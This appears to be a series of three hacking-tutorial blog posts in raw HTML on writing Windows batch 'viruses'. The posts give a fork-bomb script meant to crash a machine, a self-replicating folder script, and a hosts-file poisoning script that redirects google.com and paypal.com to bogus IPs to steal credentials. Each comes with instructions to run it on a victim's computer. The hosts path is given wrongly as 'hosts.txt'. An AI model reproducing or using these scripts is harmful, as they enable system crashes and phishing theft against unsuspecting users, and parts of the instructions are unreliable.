DNS POISONING USING BATCH FILE PART-3

<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb3rosVxzC0SbPf_lvYJeOpwlkTGxe0h6NZpUi3tgYBMVpQxSrSE8meGAMfc_wzvI4UxW0l7FVLoj6FTYyzmL0ftJUB0iBHVl5RxAWgWjs4hYB4atmzVDr7xt_B8CoRrP1NXwfMNM6s1S5/s1600/result.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="DNS POISONING USING BATCH FILE PART-3" border="0" height="199" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb3rosVxzC0SbPf_lvYJeOpwlkTGxe0h6NZpUi3tgYBMVpQxSrSE8meGAMfc_wzvI4UxW0l7FVLoj6FTYyzmL0ftJUB0iBHVl5RxAWgWjs4hYB4atmzVDr7xt_B8CoRrP1NXwfMNM6s1S5/s320/result.png" title="DNS POISONING USING BATCH FILE PART-3" width="320" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">DNS POISONING USING BATCH FILE PART-3</td></tr></tbody></table><span style="font-family: Arial, Helvetica, sans-serif;"><span style="background-color: white; line-height: 22.4px;"><br /></span></span><span style="font-family: Arial, Helvetica, sans-serif;"><span style="background-color: white; line-height: 22.4px;">Most of them have heard about the word ‘fork()’, which is used to create child process, like wise fork bombing is nothing but calling a program by itself again and again with a infinite loop and making the system to crash by popping up hundreds of windows on the screen.</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">@echo off</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">:loop</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">Explorer</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">Call fork.bat</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">Goto loop</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">Copy the above program and paste it in a notepad file and save it as ‘fork.bat’. The explorer command will open up the ‘documents’ directory, and it is given inside a loop, then the same batch file is called again which in turn opens up multiple documents rolled out in a loop, likewise it goes on by calling the program itself again and again until the system crashes or hangs up. </span></span>

DNS POISONING USING BATCH FILE PART-3 Most of them have heard about the word ‘fork()’, which is used to create child process, like wise fork...

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DNS POISONING USING BATCH FILE PART-2

<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvhIevP9OSBwhtqGf9YSJ0GbEjrATOcOp2KFZmh9wqjjnkLsHOoZodOo8z5V7kTGNw_XHKQcPKeYFZWD2ozMdFdwIfQT2R_sFaWo1EP-a59mgWRWMYLVsXWFjESWbe7Q21H5zpiSle-N7Q/s1600/image0081270494115187.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="DNS POISONING USING BATCH FILE PART-2" border="0" height="412" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvhIevP9OSBwhtqGf9YSJ0GbEjrATOcOp2KFZmh9wqjjnkLsHOoZodOo8z5V7kTGNw_XHKQcPKeYFZWD2ozMdFdwIfQT2R_sFaWo1EP-a59mgWRWMYLVsXWFjESWbe7Q21H5zpiSle-N7Q/s640/image0081270494115187.jpg" title="DNS POISONING USING BATCH FILE PART-2" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">DNS POISONING USING BATCH FILE PART-2</td></tr></tbody></table><span style="font-family: Arial, Helvetica, sans-serif;"><span style="background-color: white; line-height: 22.4px;">Batch program offers its programmers to create their custom viruses just by misusing the way the command works, which leads to the creation of batch viruses. In this chapter we are going to learn about the dark-side of the batch by learning how to misuse commands to create batch viruses.</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">Folder Replicator Virus:</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">Here is a Simple batch virus that contains only 6 lines, has the tendency to replicate itself again and again and keeps on creating a folder with same name, until a user stops it.</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">1. Just open up a notepad, copy and paste the below code</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">cd\</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">cd C:\Documents and Settings\username\Desktop</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">:loop</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">md Virus</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">cd Virus</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">goto loop</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">2. Save it as a batch file with the extension .bat, before doing that you have to modify the code by changing the place where it says ‘username’ and instead of that replace it by the currently logged in username.</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">3. Then run it on the Victims computer to infect it.</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">4. Any how it doesn’t cause much harm, but replicates folder inside a folder and goes on.</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">Once more thing that you have to notice is that, this will create directory inside another directory with the same name, so it doesn’t looks like crap, since everything reside inside one main directory, more over deleting the root directory will purge all the clumsy thing done by this piece of code.</span></span>

DNS POISONING USING BATCH FILE PART-2 Batch program offers its programmers to create their custom viruses just by misusing the way the comma...

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DNS POISONING USING BATCH FILE PART-1

<span style="font-family: Arial, Helvetica, sans-serif;"><span style="background-color: white; line-height: 22.4px;">Batch file programming is the native programming offered by the Microsoft Windows Operating System. Batch file is created using any text editors like notepad, WordPad, WinWord or so on, which comprises a sequence of built-in commands used to perform some often done tasks like deleting a series of files of same type or of different type, creating logs, clearing unwanted scraps from your computer and even for creating a batch VIRUS.</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /></span><br /><h3 style="background: rgb(251, 251, 239); border-bottom-color: rgb(1, 223, 1); border-bottom-style: solid; border-radius: 0px 0px 6px 6px; border-width: 0px 0px 4px; box-shadow: rgb(170, 170, 170) 1px 1px 2px; font-stretch: inherit; font-weight: 400; line-height: 1; margin: 6px 3px; outline: none medium; padding: 4px 10px; text-shadow: rgb(170, 170, 170) 1px 1px 1px; text-transform: capitalize; vertical-align: baseline; width: 598.5px;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: small;">DNS Poisoning:</span></h3><span style="font-family: Arial, Helvetica, sans-serif;"><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">The batch file can have the tendency to modify the transfer zones by editing the hosts.txt file that resides inside ‘C:\windows\system32\drivers\etc\hosts.txt’, so that it will take you to some malicious websites instead of landing you to the legitimate website. This may also be used for phishing, i.e. redirecting you to a bogus website which looks exactly like the legitimate one, and then steals credentials.</span></span><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb-w6_U0-77FpG0UG7zZEU_5Rpx16KZdIpb4ezbv4WJQEFn-A6UVMdoUo8MAmDaLovMu35RRUFIDq3DCFzxmF7ms35Hr0nJpS69fNLy3GWZpU7JSeGm0NLPqszRV0XghAi7RSi1RznVvlN/s1600/b0004999_07053315.jpg" style="margin-left: 1em; margin-right: 1em;"><span style="color: black;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb-w6_U0-77FpG0UG7zZEU_5Rpx16KZdIpb4ezbv4WJQEFn-A6UVMdoUo8MAmDaLovMu35RRUFIDq3DCFzxmF7ms35Hr0nJpS69fNLy3GWZpU7JSeGm0NLPqszRV0XghAi7RSi1RznVvlN/s1600/b0004999_07053315.jpg" /></span></a></div><span style="font-family: Arial, Helvetica, sans-serif;"><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">1. Just open up a notepad, copy and paste the below code</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">@echo off</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">echo 10.199.64.66 www.google.com >> C:\windows\system32\drivers\etc\hosts.txt</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">echo 10.199.64.67 www.paypal.com >> C:\windows\system32\drivers\etc\hosts.txt</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">exit</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">2. Save it as a batch file with the extension .bat</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">3. Then run it on the Victims computer to infect it.</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">4.This program creates a new entry in the hosts file, so that whenever a user attempts to move to www.google.com, he will be re-directed to another host that has the IP address of 10.199.64.66, likewise if the user attempts to login to the PayPal account by typing in www.paypal.com, he will be re-directed to another external bogus website that has the IP address of 10.199.64.67, where if the user enters the credentials unknowingly, they were into the hackers database and he can use it for several other purposes.</span></span>

Batch file programming is the native programming offered by the Microsoft Windows Operating System. Batch file is created using any text edi...

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